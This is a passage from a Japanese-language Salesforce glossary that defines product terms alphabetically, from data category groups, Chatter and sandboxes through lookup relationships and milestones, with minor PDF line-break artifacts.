プ、ポータブルラップトップ、ゲーム用デスクトップ、エンタープライズデスクトップの 4 つのカテゴリ
を持つ製品カテゴリグループを作成することができます。ゾーンメンバーは、カテゴリのいずれかを選択
して、質問に割り当てることができます。システム管理者はカテゴリグループとカテゴリを作成し、カテ
ゴリグループをアンサーゾーンと関連付けます。システム管理者は、アイデアゾーンおよびアンサーゾー
ンの各カテゴリを定義します。

記事のカテゴリグループ
Salesforce ナレッジでは、カテゴリグループは、データカテゴリを論理階層にまとめます。たとえば、営業
地域や事業単位で記事を分類するには、「営業地域」と「事業単位」という 2 つのカテゴリグループを作
成します。「営業地域」カテゴリグループでは、「全営業地域」を最上位として、第 2 レベルに「北米」、
「アジア」というように、地理的階層を最大 5 レベルに構成することができます。記事を作成すると、作
成者は関連カテゴリを記事に割り当てます。記事を検索するエンドユーザはカテゴリごとに検索および絞
り込むことができます。
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チャネル
記事を利用可能にする媒体。Salesforce ナレッジでは、記事を利用可能にできるチャネルを 4 つ提供してい
ます。
• 内部アプリケーション: Salesforceのユーザが、ロールの表示設定に応じて [記事] タブで記事にアクセスで

きます。
• カスタマー: [記事] タブがコミュニティまたはカスタマーポータルで使用可能な場合、顧客が記事にアク

セスできます。カスタマーユーザは、取引先でのマネージャのロール表示設定を継承します。コミュニ
ティでは、カスタマーコミュニティまたはカスタマーコミュニティプラスライセンスを持つユーザのみ
が記事を使用できます。

• パートナー: [記事] タブがコミュニティまたはカスタマーポータルで使用可能な場合、パートナーが記事
にアクセスできます。パートナーユーザは、取引先でのマネージャのロール表示設定を継承します。コ
ミュニティでは、パートナコミュニティライセンスを持つユーザのみが記事を使用できます。

• 公開知識ベース: 記事は、AppExchange から Salesforce ナレッジのサンプル公開知識ベースアプリケーショ
ンを使用して公開知識ベースを作成することで、匿名ユーザに公開できます。公開知識ベースの作成に
は、サイトおよび Visualforce が必要です。

チャネルマネージャ
パートナーを管理する社内ユーザ。

Chatter アンサー
ユーザが質問を投稿して他のユーザやサポートエージェントから回答やコメントを受け取れる、セルフサー
ビスのサポートコミュニティ。

Chatter フィード
Salesforce の最近の活動のリスト。Chatter フィードは、次の場所に表示されます。
• [Chatter] タブまたは [ホーム] タブ。自分の投稿、フォローしている人からの投稿、フォローしているレ

コードの更新、および自分がメンバーになっているグループへの投稿が表示されます。
• プロファイル。参照しているプロファイルのユーザが行った投稿が表示されます。
• レコード。参照中のレコードへの更新を確認できます。
• Chatter グループ。参照しているグループへの投稿が表示されます。

Chatter グループ
Chatter グループを使って、特定の人と情報を共有できます。たとえば、あるプロジェクトに取り組んでい
て、その情報をチームメンバーのみで共有する場合、チーム用の Chatter グループを作成できます。Chatter

グループには、メンバーリスト、Chatter フィード、写真が含まれます。次の種別の Chatter グループを作成
できます。
• 公開: 投稿できるのはグループメンバーのみですが、誰でも投稿を参照でき、公開グループに参加でき

ます。
• 非公開: 投稿と投稿の参照ができるのはメンバーのみです。メンバーの追加は、グループの所有者また

はマネージャが行う必要があります。
Cloud Flow Designer

システム管理者が Salesforce で使用するフローを作成できるクラウドベースのアプリケーション。
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組み合わせグラフ
組み合わせグラフでは、1 つのグラフ上に複数のデータセットが描画されます。各データセットは異なる項
目に基づいているため、簡単に値を比較できます。また、特定の種類のグラフを組み合わせて、1 つのグラ
フにさまざまな方法でデータを示すこともできます。

接続先 (Salesforce to Salesforce)

Salesforce to Salesforce を使用してデータを共有するために招待したビジネスパートナー。
コミュニティ

カスタマイズ可能な、従業員、顧客、およびパートナーがベストプラクティスやビジネスプロセスにおい
てコラボレーションを行うための、公開または非公開のスペース。

コミュニティアプリケーション
コミュニティアプリケーションには、アイデアとアンサーの機能があります。コミュニティアプリケーショ
ンは、Force.com アプリケーションメニューから利用できます。

コミュニティエキスパート
組織を代表する信頼のおける権威ある立場で話すコミュニティメンバー。コミュニティエキスパートがコ
メントまたはアイデアを投稿すると、その名前の横に固有のアイコン ( ) が表示されます。Salesforce シス
テム管理者は、必要に応じてコミュニティエキスパートを何人でも指名できます。

達成予測
各営業担当者が特定の月または四半期で確実に達成可能な売上予測の金額。マネージャの場合、この値は、
自分自身とチーム全体で確実に達成可能な金額に等しくなります。

競合
特定の商談に入力された競合名、強み、および弱みを表示する関連リスト。

コンピュータテレフォニーインテグレーション (CTI)

受発信通話の処理と制御を容易にする電話システムとコンピュータ間の連結。
Connect for Office

ユーザが Salesforce と Microsoft® Word および Excel を統合する商品。
Connect for Outlook

Connect for Outlook は終了しました。この製品は、Microsoft® Outlook® 2007 以前のバージョンの従来の同期アド
インです。

Connect Offline

場所や時間に制約されることなく、完全なオフライン状態で営業担当者が Salesforce を使用し、リモートで
データを更新するための商品。

接続ユーザ
Salesforce Connectに組織間アダプタを使用している場合のプロバイダ組織のユーザ。登録者組織は、このユー
ザのログイン情報を使用してプロバイダ組織にログインします。プロバイダ組織のデータへの接続ユーザ
のアクセス権は、登録者組織からアクセスできるデータに影響します。

[コンソール] タブ
エージェントコンソールを含むタブ。ユーザがすべての情報を 1 か所で参照および編集できるように、関
連するレコードを、複数のフレームで構成される 1 画面に統合します。

取引先責任者
取引先に関連のある個人。
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Contact Manager Edition

主な取引先責任者管理機能へのアクセスを提供する中小企業用に設計された Salesforce エディション。
取引先責任者の役割

「意思決定者」や「評価者」など、特定の取引先、契約、または商談で取引先責任者が果たす役割。1 つの
取引先責任者を、取引先、契約、商談の「主」取引先責任者としてマークできます。さまざまな取引先、
契約、または商談において、取引先責任者にはさまざまな役割があります。

コンテンツ配信
リード、取引先責任者、および同僚への配信に最適なオンライン形式に変換されたファイル。

コンテンツパック
Salesforce CRM Content 内のグループとして格納された関連するドキュメントまたはファイルの集合。

契約
複数の集団の間での業務条件を定義した合意。

契約品目名
サービス契約に含まれる特定の商品。サービス契約の [契約品目名] 関連リストにのみ契約品目名は表示さ
れ、契約の関連リストには表示されません。

制御項目
対応する 1 つ以上の連動項目で使用可能な値を制御する、標準またはカスタムの選択リストやチェックボッ
クスの項目。

変換
評価済みリードを取引先、取引先責任者、または商談に変更できるボタンまたはリンク。リード項目の情
報は、適切な取引先、取引先責任者、商談項目に移行されます。

CTI Adapter

Salesforceソフトフォンの外観と動作を制御する軽量ソフトウェアプログラム。このアダプタは、サードパー
ティの CTI (コンピュータテレフォニーインテグレーション) システム、Salesforce、および Salesforce CRM Call

Centerユーザとの間の仲介ソフトウェアとして動作します。Salesforce CRM Call Center機能にアクセスするすべ
てのコンピュータにインストールする必要があります。

カスタムコンソールコンポーネント
コンソールの機能をカスタマイズ、統合、または拡張するためにシステム管理者が Salesforce コンソールに
追加する Visualforce ページ。

カスタム項目
組織の必要に応じて Salesforce をカスタマイズするために標準項目の他に追加できる項目。

カスタムヘルプ
システム管理者が、標準項目、カスタム項目、またはカスタムオブジェクトに固有の情報を画面上に表示
するために作成するカスタムテキスト。

カスタムリンク
管理者によって定義された URL。これを使用して、Salesforce データを外部 Web サイトとバックエンドのオ
フィスシステムと統合します。以前は Web リンクと呼ばれていました。

カスタムオブジェクト
組織固有の情報を保存することが可能なカスタムレコード。
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カスタムレポートタイプ
「レポートタイプ」を参照してください。

カスタムSコントロール

メモ:  Sコントロールは、Visualforce ページに置き換えられました。2010 年以降、新しい組織同様、Sコ
ントロールを作成したことのない組織は、Sコントロールを作成できなくなります。既存 Sコントロー
ルに影響はありません。引き続き編集できます。

カスタムリンクで使用するカスタム Web コンテンツ。カスタムSコントロールには、Java アプレット、Active-X

コントロール、Excel ファイル、カスタム HTML Web フォームなど、ブラウザに表示できるあらゆる種類のコ
ンテンツを入れることができます。

カスタマイザブル売上予測
売上予測モジュールの改訂版で、組織のビジネスプロセスの売上予測をカスタマイズできます。

カスタムビュー
特定のオブジェクトに関するレコードの特定のセットを参照できる表示機能。

D

ダッシュボード
ダッシュボードでは、ソースレポートから得たデータを、グラフ、ゲージ、テーブル、総計値、または
Visualforce ページなど、視覚化されたコンポーネントとして表示します。コンポーネントは、組織の主要な
総計値のスナップショットおよびパフォーマンスの指標を提供します。各ダッシュボードには、最大 20 個
のコンポーネントを持たせることができます。

ダッシュボードビルダー
ダッシュボードの作成や変更を行うためのドラッグアンドドロップインターフェース。

アンサーのデータカテゴリ
[アンサー] タブで、データカテゴリを使用して、アンサーゾーンの質問を分類できます。たとえば、ハー
ドウェア製品に関するゾーンには、データカテゴリとしてラップトップ、デスクトップ、プリンタなどが
あることが考えられます。ゾーンメンバーは、特定のカテゴリ内をすばやく参照し、質問に対する回答を
見つけることができます。管理者は、データカテゴリを使用して質問へのアクセスを制御します。

記事のデータカテゴリ
Salesforce ナレッジでは、データカテゴリは、階層的にカテゴリグループにまとめられた一連の条件です。
知識ベースの記事は、複数のカテゴリにしたがって分類できます。ユーザは必要な記事を見つけやすくな
ります。たとえば、営業地域や事業単位で記事を分類するには、「営業地域」と「事業単位」という 2 つ
のカテゴリグループを作成します。「営業地域」カテゴリグループでは、「全営業地域」を最上位として、
第 2 レベルに「北米」、「アジア」というように、地理的階層を最大 5 レベルに構成することができます。
作成者がカテゴリを記事に割り当てます。管理者は、データカテゴリを使用して記事へのアクセスを制御
します。

Database.com

Salesforce のエンタープライズクラウドデータベース。
期間指定換算レート

期間指定換算レートによって、特定の日付範囲に通貨換算レートを割り当てることができます。たとえば、
1 月 1 日の換算レートが 1 USD に対し 1.39 AUD だったものが、2 月 1 日には 1 USD が 1.42 AUD に変わったとし
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ます。1 月 1 日から 2 月 1 日までの間に完了した商談は、最初の換算レート (1 = 1.39) を使用しますが、2 月 1

日以降に完了した商談は、次の換算レート (1 = 1.42) を使用します。
降格

アイデアが気に入らない場合は、[反対]をクリックすると、アイデア全体のスコアから 10 ポイント減算し、
アイデアの全体的な人気度を下げることができます。同じアイデアを 2 回以上降格することはできません。
また、降格した後でそのアイデアを昇格させることもできません。昇格させるより降格させるユーザが多
ければ、そのアイデアの全体スコアが負になる場合もあります。

連動項目
対応する制御項目で選択された値に基づいて、使用可能な値が表示される、カスタムの選択リストまたは
複数選択の選択リストの項目。

詳細
単一のオブジェクトレコードに関する情報を表示するページ。レコードの詳細ページでは情報を表示でき
ますが、編集ページでは変更が可能です。
レポートで、概要情報とレポートにあるすべての情報のすべての列データを含むものとを区別するための
用語。[詳細の表示]/[詳細を非表示] を使用して、レポートの詳細の表示/非表示を切り替えることができま
す。

詳細ビュー
エージェントコンソールの中央に表示されるフレームで、コンソールの他のフレームから選択されたレコー
ドの詳細ページが表示されます。詳細ビューには、そのオブジェクトの詳細ページで定義されたページレ
イアウトと同じものが表示されます。詳細ビューに表示されているレコードは、リストビューで強調表示
されます。

Developer Edition

開発者がForce.com プラットフォームを使用して拡張、インテグレーション、開発するよう設計された無料
でフル機能の Salesforce。Developer Edition のアカウントは、developer.salesforce.com で登録できます。

Developer Pro Sandbox

Developer Pro Sandbox では、コーディングとテスト用にカスタマイズ (メタデータ) が別の環境にコピーされ
ますが、本番データはコピーされません。Developer Pro Sandbox には、Developer Sandbox より大きいストレー
ジが割り当てられます。本番組織のエディションに応じて、いくつかの Developer Sandbox が含まれます。

Developer Sandbox

Developer Sandbox では、コーディングとテスト用にカスタマイズ (メタデータ) が別の環境にコピーされます
が、本番データはコピーされません。

ドキュメントライブラリ
ドキュメントの保存場所。これらのドキュメントは、取引先や取引先責任者、商談、またはその他のレコー
ドに添付しません。

ドラフト記事
まだ公開されていない作成中の記事。[記事] タブ (任意のチャネル)、または公開知識ベースには表示されま
せん。記事マネージャは、[ビュー] エリアの [記事] タブをクリックして、[ドラフト記事] を選択すること
で、[記事の管理] タブでドラフト記事にアクセスできます。ドラフト記事は、自分に割り当てられている
ドラフト記事または任意のユーザに割り当てられているドラフト記事 (組織のすべてのドラフト記事) で絞
り込むことができます。ドラフト記事は、編集作業に参加するすべてのユーザに割り当てることができま
す。
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ドラフト翻訳
記事を複数の言語に翻訳中の記事。ドラフト記事はまだ公開されておらず、[記事] タブ (任意のチャネル)、
または公開知識ベースには表示されません。記事マネージャは、[ビュー] エリアの [翻訳] タブをクリック
して、[ドラフト翻訳]を選択することで、[記事の管理] タブでドラフト記事にアクセスできます。ドラフト
記事は、自分に割り当てられているドラフト記事、翻訳キューに割り当てられているドラフト記事、また
は任意のユーザに割り当てられているドラフト記事 (組織のすべてのドラフト記事) で絞り込むことができ
ます。翻訳は Salesforce ナレッジ記事を公開できる任意のユーザに割り当てることができます。

動的ダッシュボード
ダッシュボードを表示しているユーザのセキュリティ設定を使用して動的ダッシュボードが実行されます。
各ユーザのアクセス権に従って、ダッシュボードが表示されます。この方法は、システム管理者が 1 つの
共通のダッシュボードコンポーネントセットを、アクセス権の異なる各ユーザに割り当てる場合に役立ち
ます。

E

メールアラート
指定のメールテンプレートを使用して特定の受信者にメールを送信するアクション。

メールテンプレート
新しい従業員へのウェルカムレターや、カスタマーサービス要求の申請が受信された場合の通知など、標
準メッセージを知らせる書式設定されたメール。メールテンプレートは、差し込み項目でカスタマイズし
たり、テキスト、HTML、またはカスタム形式で作成したりできます。

Enterprise Edition

より大きく、複雑なビジネス向けに設計された Salesforce のエディション。
エンタイトルメント

エンタイトルメントを使用して、顧客がカスタマーサポートの対象であるかどうかを確認し、顧客にケー
スを作成することができます。顧客は、特定の納入商品、取引先、またはサービス契約によって、サポー
トの対象となる場合があります。

エンタイトルメント取引先責任者
カスタマーサポートを受けられる取引先責任者 (指定された発信者など)。エンタイトルメントの [取引先責
任者] 関連リストまたは取引先責任者の [エンタイトルメント] 関連リストに記載されます。エンタイトルメ
ント取引先責任者には、ページレイアウト、検索レイアウト、ボタン、リンク、またはレコードタイプは
ありません。

エンタイトルメントプロセス
サポートチームがケースを解決するために実行する必要のあるすべてのステップ (マイルストン) を含むタ
イムライン。各プロセスには、顧客に適切なサービスレベルをどのように設定するかを決めるために必要
なロジックが含まれています。

エンタイトルメントテンプレート
商品にすばやく追加できる、事前定義されたカスタマサポートの条件。たとえば、ユーザが顧客に提供さ
れる商品にエンタイトルメントを容易に追加できるよう Web サポートまたは電話サポートのエンタイトル
メントテンプレートを作成できます。
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外部データソース
外部データソースは、外部システムへのアクセス方法を指定します。Salesforce Connectでは、外部データソー
スを使用して、Salesforce 組織外に保存されているデータにアクセスします。Files Connect では、外部データ
ソースを使用して、サードパーティのコンテンツシステムにアクセスします。外部データソースは、ユー
ザおよび Force.com プラットフォームが外部データやコンテンツを操作するために使用する、外部オブジェ
クトに関連付けられます。

外部参照関係
外部参照関係は、子の標準、カスタム、または外部オブジェクトを親の外部オブジェクトにリンクします。
外部参照関係項目を作成すると、親の外部オブジェクトの標準外部 ID 項目が子の外部参照関係項目の値と
照合されます。外部オブジェクト項目値は、外部データソースから発生しています。

外部オブジェクト
外部オブジェクトの動作はカスタムオブジェクトと似ていますが、Salesforce 組織外に保存されたデータに
対応付けられるという点が異なります。各外部オブジェクトは、定義された外部データソースのデータテー
ブルに対応付けられ、各外部オブジェクト項目はテーブル列に対応付けられます。ユーザおよび Force.com

プラットフォームは、外部オブジェクトを使用して、外部データを操作します。
外部ユーザ

コミュニティのユーザ、カスタマーポータルまたはパートナーポータルライセンスを持つユーザ。

F

フィード添付、Chatter

Chatter フィードでの投稿に添付されたファイルまたはリンク。
フィード条件、Chatter

フィードフィルタでは、[Chatter] タブの Chatter フィードに投稿のサブセットが表示されます。
フィード追跡、Chatter

Chatter フィードでフォローできるレコードおよび追跡可能な項目を指定する管理者設定。オブジェクトの
フィード追跡を有効化すると、そのオブジェクトのレコードをフォローできるようになります。フィード
追跡の項目を有効にすると、フォローしているレコードでそれらの項目が変更された場合に、Chatterフィー
ドの更新を確認できます。

項目レベルのヘルプ
標準項目またはカスタム項目について提供できるカスタムヘルプテキスト。その項目の隣にあるヘルプア
イコンにマウスポインタを停止させると表示されます。

項目レベルセキュリティ
項目が、ユーザに非表示、表示、参照のみ、または編集可能であるかどうかを決定する設定。使用可能な
エディションは、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer

Edition です。
項目セット

項目をグループ化したもの。たとえば、ユーザの名、ミドルネーム、姓、肩書を示す項目を 1 つの項目セッ
トにして持つことができます。項目セットは、Visualforce ページで動的に参照できます。そのページを管理
パッケージに追加すると、システム管理者は項目セット内の項目の追加、削除、並び替えを行って、コー
ドを変更せずに Visualforce ページ上に表示する項目を変更できます。
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項目自動更新
項目を新しい値で自動的に更新するアクション。

ファイルコラボレータ
「コラボレータ」権限を持つユーザは、Chatter でファイルの表示、ダウンロード、共有、権限の変更、編
集、および新しいバージョンのアップロードを行うことができます。

ファイル所有者
Chatter でファイルをアップロード、Chatter フィードにファイルを添付、または Salesforce CRM Content にファ
イルをアップロードしたユーザ。
ファイルの所有者は、ファイルの参照、編集、ダウンロード、共有、新バージョンのアップロード、削除
に加えて、ファイルの非公開設定やファイルに対する権限の変更ができます。

ファイル、非公開
Chatter の非公開ファイルは、非公開アイコン ( ) で示されます。ファイル所有者のみが使用でき、他の誰
とも共有されません。[ファイル] タブにファイルをアップロードするか、Salesforce CRM Contentの個人ライブ
ラリにファイルを寄稿すると、非公開ファイルが作成されます。アップロードまたは寄稿したファイルは
自分の所有になります。

ファイル、非公開で共有
Chatterの非公開共有ファイルは、非公開共有アイコン ( ) で示され、ファイル所有者および共有している
特定のユーザまたはグループのみが使用できます。

ファイル、あなたの会社
会社アイコン ( ) は、社内のすべてのChatterユーザと共有しているファイルを示します。会社のすべての
Chatter ユーザが、このファイルを検索および表示できます。

ファイル閲覧者
「閲覧者」権限を持つユーザは、Chatter のファイルを表示、ダウンロード、および共有できます。

[ファイル] タブ
ユーザの Chatter と Salesforce CRM Content ファイルのリストを表示するタブ。

検索条件
リストビューまたはレポートに含まれる項目に該当する、特定の項目に対する条件。たとえば「都道府県」
「次の文字列と一致する」「東京都」など。

会計年度
会計計画のために組織で使用する期間。たとえば売上予測などで、通常は 1 年程度の長さになります。通
常、会計年度には、四半期または 3 か月など、より小さく分割した会計期間が含まれます。

フラグ
このアイコンをクリックすると、ユーザはその質問または返信がスパム、悪意がある、不適切であるとし
て報告できます。

フォルダ
レポート、ダッシュボード、ドキュメント、またはメールテンプレートの保管場所。フォルダは、公開、
非表示、または共有にすることができ、「参照のみ」か「参照・更新」に設定できます。フォルダの内容
へのアクセス権を持つユーザの制御は、ロール、権限、公開グループ、またはライセンスの種類に基づい
て行います。フォルダを組織全体で使用できるようにしたり、非公開にして所有者のみにアクセス権を与
えたりすることもできます。

7223

用語集



フォローする
ユーザまたはレコードの登録。これにより、関連する更新情報を Chatter フィードで参照できるようなりま
す。ユーザをフォローすると、ユーザの投稿を参照できます。レコードをフォローすると、投稿、コメン
ト、および項目の変更がフォローされます。

フォロー、Chatter アンサー
他のユーザが特定の質問に回答またはコメントした場合にメールを受信できる質問を登録することです。

Force.com アプリケーションメニュー
カスタマイズ可能なアプリケーション (別称「アプリケーション」) をワンクリックで切り替えることがで
きるメニュー。Force.com アプリケーションメニューは、ユーザインターフェースの各ページの上部に表示
されます。

Force.com Enterprise App

最大で 8 個のカスタムオブジェクトと 8 個のカスタムタブを含むカスタムアプリケーションで、取引先と
取引先責任者への参照・更新アクセス権と、共有、Bulk API、ストリーミング API へのアクセス権がありま
す。

Force.com Light アプリケーション
最大で 8 個のカスタムオブジェクトと 8 個のカスタムタブを含むカスタムアプリケーションで、取引先と
取引先責任者への参照のみのアクセス権と、共有、Bulk API、ストリーミング API へのアクセス権がありま
す。

売上予測金額
コラボレーション売上予測で使用されます。売上予測マネージャの観点での収益売上予測、およびすべて
の売上予測の調整を含む所有者およびその部下の商談の合計金額。

売上予測分類
商談を売上予測に計上する売上予測の分類を決定します。デフォルトの売上予測分類設定は、[フェーズ]

選択リストで設定されているフェーズに関連付けられています。特定の商談の[売上予測分類] を更新する
には、その商談の売上予測を編集する必要があります。

数量ベースの売上予測
コラボレーション売上予測で使用されます。売上予測マネージャの観点での数量の売上予測、およびすべ
ての売上予測の調整を含む所有者およびその部下の商談の合計数量。

売上予測ユーザ
売上予測階層またはテリトリー階層のどちらかで、売上予測を表示および操作できるユーザ。

売上予測
組織の会計年度の販売計画見積。

数式項目
カスタム項目の一種。差し込み項目、式、またはその他の値に基づいて、値を自動的に計算します。

Full Sandbox

FullSandboxには、本番組織全体と、本番組織の標準およびカスタムオブジェクトレコード、ドキュメント、
添付ファイルなどのすべてのデータがコピーされます。この Sandbox は、変更のコーディングやテスト、変
更に関するチームのトレーニングに使用します。Full Sandbox は、29 日ごとに更新できます。
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G

グローバル検索
Salesforce でヘッダーの検索ボックスから多くのレコードおよび項目を検索すること。グローバル検索は、
使用するオブジェクトとそれらを使用する頻度を追跡し、それに基づいて検索結果を編成します。最もよ
く使用されるオブジェクトの検索結果は、リストの最上部に表示されます。

グローバル変数
組織データの参照に使用できる特別な差し込み項目。
アプリケーション外 (SOAP API 内、または別の Apex コード) から参照する必要があるメソッドに使用するメ
ソッドアクセス修飾子。

グループ
一連のユーザのグループ。グループには、各ユーザ、その他のグループ、ロールのユーザが含まれます。
Salesforce for Outlook 設定または Lightning Sync 設定では、グループを使用してデータへの共有アクセスを定義
したり、同期するデータを指定したりできます。
ユーザは自分の個人グループを定義できます。管理者は、組織内の全員が使用する公開グループを作成で
きます。

Group Edition

ユーザ数が制限された小規模ビジネスやワークグループに設計された製品。
グループ ToDo

作成時に複数のユーザに割り当てられた ToDo。これらのグループ ToDo はそれぞれに独立したレコードで、
リンクしていないため、個別に編集、移行、または削除できます。

ゲストユーザ
ゲストユーザは、各サイトまたはコミュニティに関連付けられたゲストユーザライセンスを使用して、
Site.comおよびForce.com公開サイトと、コミュニティの公開ページにアクセスできます。オブジェクトおよ
びデータへのゲストユーザのアクセスは、ゲストユーザプロファイルの公開アクセス設定で制御されます。

H

半減期
半減期設定により、[人気のあるアイデア] サブタブで古いアイデアが順位を下げ、新しい投票を多く集め
ているアイデアに順位を譲るまでの期間が決められます。半減期が短いと、長い場合よりも早く古いアイ
デアがページの下の方に移動します。この設定は、組織内のすべてのゾーンに影響します。

強調表示パネル
最大 4 つの列からなるカスタマイズ可能なテーブル。Salesforce コンソールのすべての主タブの上部に表示
されます。レコードに関する主要情報が一目で確認できます。

大規模ポータルユーザ
数千から数百万のポータルユーザを抱える組織を対象とする、アクセス制限されたユーザ。その他のユー
ザと異なり、大規模ポータルユーザにはロールはありません。そのため、ロール階層の計算に関連するパ
フォーマンス上の問題を回避します。大規模ポータルユーザには、大規模カスタマーポータルユーザと認
証 Web サイトユーザ、両方のライセンスの種類が含まれます。
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[ホーム] タブ
ユーザがサイドバーや各機能の選択、現在の ToDo や行動の表示、または別のタブの選択を行うことができ
る先頭ページ。

詳細のフロート表示
詳細のフロート表示には、レコードの詳細が対話形式でフロート表示されます。サイドバーの [最近使った
データ] リスト、またはレコード詳細ページの参照項目に表示されているレコードへのリンクにユーザがマ
ウスポインタを置くと、詳細が表示されます。ユーザはレコードを表示または編集する場合にクリックし
なくても、レコードに関する情報をすばやく参照できます。詳細のフロート表示に含まれる項目は、レコー
ドのミニページレイアウトによって決まります。表示される項目をユーザがカスタマイズすることはでき
ません。

I

アイデア
アイデアコミュニティのメンバーが投稿し、ゾーン別に整理された提案。たとえば、ゾーンのテーマが「車
の機能に関するアイデア」の場合、そのゾーンに適切なアイデアとしてタイトル「飲み物の温度を維持す
る耐熱性のカップホルダー」のようなアイデアが考えられます。または、ゾーンのテーマが「当社の福利
厚生に関するアイデア」の場合、そのゾーンに適切なアイデアとしてタイトル「職場の託児所」のような
アイデアが考えられます。

ルール適用時のアクション
ワークフロールールの条件が揃ったときに、ただちに実行されるワークフローアクション。

間接参照関係
間接参照関係は、子の外部オブジェクトを親の標準またはカスタムオブジェクトにリンクします。間接参
照関係項目を外部オブジェクトに作成するとき、親オブジェクト項目と子オブジェクト項目を指定して、
リレーションのレコードを照合し、関連付けます。具体的には、外部データソースから値が発生する子の
間接参照関係項目と照合する、親オブジェクトの一意のカスタム外部 ID 項目を選択します。

影響度、Chatter

Chatter でのユーザの影響度のインジケータ。このユーザが行った投稿とコメントの数とこのユーザが受け
取ったコメントといいね! の数によって影響度が決まります。
• トップインフルエンサーは基本的なコンテンツを定期的に共有することで、コラボレーションへの取り

組みを主導します。
• アクティブインフルエンサーは他のユーザに参加とナレッジの共有を促します。
• オブザーバーは静かな参加者、または Chatter を開始したばかりのユーザです。

相互関係ログ
ボタンをクリックしたり、新しいタブを参照したり、[メモ & 添付ファイル] 関連リストまでスクロールした
りせずに、作業中の主たるレコードに関するメモをさっと書き込める Salesforce コンソール内の場所。相互
関係ログは、簡単に確認や修正ができるよう、活動履歴関連リストにアーカイブされます。管理者は、相
互関係ログをカスタマイズして、ToDo 項目を含めることができます。
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J

連結オブジェクト
2 つの主従関係を持つカスタムオブジェクト。カスタム連結オブジェクトを使用して、2 つのオブジェクト
間の「多対多」リレーションをモデル化できます。たとえば、「バグ」という名前のカスタムオブジェク
トを作成し、1 つのバグを複数のケースに、また 1 つのケースを複数のバグに関連付けることができます。

K

ナレッジエージェント
Salesforce では、ナレッジエージェントは特定のタイプのユーザを表します。ナレッジエージェントは、内
部 Salesforce ナレッジアプリケーションでの記事の利用者です。これらのユーザは [記事] タブにアクセスし
て記事を検索および表示できますが、記事の作成、編集、または管理はできません。

ナレッジサイドバー
対応中のケースを解決できそうな Salesforce ナレッジ記事のタイトルが表示される Salesforce コンソールのサ
イドバー。ケースの [件名] に入力したいずれかの語に一致する記事を、知識ベースから自動的に検索し
て返します。サイドバーは、システム管理者が設定した後、Salesforce ナレッジユーザにのみ表示されます。

L

レイアウト
「ページレイアウト」を参照してください。

リード
あなたの製品や会社に興味を示した、販売が見込める客のこと。

ライブラリ
Salesforce CRM Content 内のファイルリポジトリ。

ライブラリの権限
権限のグループ。Salesforce CRM Content ライブラリ内でのユーザのアクセス権を決定します。

いいね!

Chatterフィードの投稿またはコメントへの支持を示します。投稿やコメントにいいね! と言うと、その後に
コメントが追加された場合にメール通知を受信します。

いいね!、Chatter アンサー
質問、回答、またはナレッジ記事への支持を示したり、それらの品質または実用性を示します。

リスト価格
カスタム価格表の中での商品の価格。

リストビュー
特定の条件による項目 (リード、取引先、または商談など) のリスト表示。Salesforce には、事前に定義され
たビューがあります。
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エージェントコンソールでは、リストビューが、具体的な条件に基づいてレコードのリストビューを表示
する最上位のフレームです。[コンソール] タブに表示して選択できるリストビューは、各オブジェクトの
タブで定義されたリストビューと同じです。コンソール内でリストビューを作成することはできません。

Live Agent

Live Agent により、サービス組織は、Web ベースのテキストのみの Live Chat を使用して顧客または Web サイ
トの訪問者とリアルタイムに接続できます。

Live Agent コンソール
Live Agent チャットを管理するカスタマーサービスエージェントの専用コンソール。エージェントは、チャッ
トの要求に回答し、Live Chat を実施し、Salesforce レコードと Salesforce ナレッジ記事を操作できます。

ローカルネーム
ユーザまたは取引先の言語で保存される項目の値。項目のローカルネームは、項目の標準名称に関連付け
られます。

ルックアップダイアログ
いくつかの項目に表示されるポップアップダイアログ。取引先責任者、取引先、またはユーザなど、新し
い項目を検索できます。

参照項目
別のレコードに対するリンク可能な値を含む項目の種別。オブジェクトに別のオブジェクトとの参照関係
または主従関係がある場合、ページレイアウトに参照項目を表示できます。たとえば、ケースに納入商品
との参照関係がある場合、ケース詳細ページからルックアップダイアログを使用して納入商品を選択し、
ケース詳細ページから納入商品の名前をクリックできます。

参照関係
2 つのレコード間の関係で、互いを関連付けることができます。たとえば、ケースには、特定の納入商品を
ケースに関連付ける、納入商品との参照関係があります。関係の一方で、参照項目を使用して、ユーザは、
ルックアップアイコンをクリックして、ポップアップウィンドウから別のレコードを選択できます。関連
付けられたレコードでは、その後、リンクされたすべてのレコードを表示する関連リストを表示できます。
参照項目が削除されたレコードを参照している場合、デフォルトで Salesforce が参照項目をクリアします。
または、レコードが参照関係にある場合は削除されないようにすることもできます。

M

マーケティングユーザ
キャンペーンを管理できる組織内のユーザ。システム管理者は、ユーザの個人情報にある [マーケティング
ユーザ] チェックボックスをオンにして、ユーザをマーケティングユーザに指定できます。
マーケティングユーザのみが、キャンペーンを作成、編集、および削除したり、高度なキャンペーン設定
を行ったりできます。
追加のユーザ権限により、マーケティングユーザはデータインポートウィザードを使用してキャンペーン
メンバーを追加し、その状況を更新できます。

主従関係
2 つの異なる種別のレコード間の関係で、互いにレコードを関連付けます。たとえば、取引先には商談との
主従関係があります。このような種類の関係は、レコードの削除、セキュリティに影響を与え、ページレ
イアウトに必要な参照関係項目を作成します。
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マスタ選択リスト
レコードタイプまたはビジネスプロセスで使用可能な選択リストのすべての値。

マトリックスレポート
マトリックスレポートは集計レポートと似ていますが、行および列ごとにデータをグループ化したり集計
したりできます。ダッシュボードコンポーネントのソースレポートとして使用できます。マトリックスレ
ポートを使用して、関連する合計値を比較します。特に、集計するデータ量が多くさまざまな項目の値を
比較する必要がある場合、または日付および商品、個人、場所ごとにデータを表示する場合に役立ちます。

メンバー状況
キャンペーンについてのリードまたは取引先責任者の状況。たとえば、リードまたは取引先責任者のメン
バーの状況として、メールキャンペーンのさまざまなフェーズでの「計画済み」、「実施」、「レスポン
スあり」などがあります。

メッセージ、Chatter

Chatter メッセージでは、他の Chatter ユーザと非公開で連絡し合うことができます。メッセージは、マネー
ジャに非公開の質問を送信する場合や、一緒に仕事をしているすべてのユーザには関係しない議論を、選
択した数人のユーザとやりとりする場合に使用します。これらのメッセージは、一般に公開されている
フィード、プロファイル、または Chatter のその他の領域に表示されることはありません。

差し込み項目
メールテンプレート、メールの差し込みテンプレート、カスタムリンク、またはレコードの値を投入する
数式を入力できる項目。たとえば、Dear {!Contact.FirstName}, は取引先責任者差し込み項目を使用
して、取引先責任者レコードの[名] 項目の値を取得し、メール受信者を名前で示します。

マイルストン
サポートプロセスで必要なステップ。各顧客に提供するサービスレベルを示す指標です。たとえば、マイ
